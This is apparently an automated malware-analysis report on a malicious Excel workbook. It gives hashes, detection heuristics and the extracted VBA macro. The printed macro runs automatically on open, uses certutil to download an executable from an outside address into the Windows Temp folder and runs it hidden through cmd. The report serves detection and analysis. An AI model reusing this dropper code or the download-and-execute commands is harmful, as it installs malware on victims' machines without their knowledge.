Office (OOXML) malware analysis — malicious · 9c250650f574c244

MALICIOUS

Office (OOXML)

13.0 KB Created: 2021-02-21 17:02:37 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-03-01

MD5: 6ec7aa3f36bb2136be8ace503a30a369 SHA-1: 8fae9a4d03ae39fc1e6dc58754cee88a0d9cc2ff SHA-256: 9c250650f574c244243fd8a466f8e91be138c954753d93dd868d4ab2ef27dfab

298 Risk Score

Heuristics 9

VBA project inside OOXML medium 7 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell comm1, vbHide
```

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

comm1 = "certutil -urlcache -f http://192.168.100.1/mtr-443.exe C:\\Windows\\Temp\\mtr-443-2.exe"

VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER

The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
Matched line in script
```
Sub WorkBook_Open()
```
cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA
Matched line in script
```
Comm2 = "cmd /c C:\\windows\\temp\\mtr-443-2.exe"
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub WorkBook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://192.168.100.1/mtr-443.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1004 bytes
SHA-256: `7fbb52e1d0329127b0e548c22a6d9fe7e388404ca47607d1cf8568116fc3653d`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module2" Sub WorkBook_Open() MyMacro End Sub Sub Auto_Open() MyMacro End Sub Sub MyMacro() Dim comm1 As String comm1 = "certutil -urlcache -f http://192.168.100.1/mtr-443.exe C:\\Windows\\Temp\\mtr-443-2.exe" Shell comm1, vbHide Dim Comm2 As String Comm2 = "cmd /c C:\\windows\\temp\\mtr-443-2.exe" Shell Comm2, vbHide End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	16384 bytes
SHA-256: `499ac12e5a87aa2adf89ea9fb3a3d3d57f47b03e40c6c5e5c3595283116e117c`

Open this report in the interactive analyzer, or submit your own file for analysis.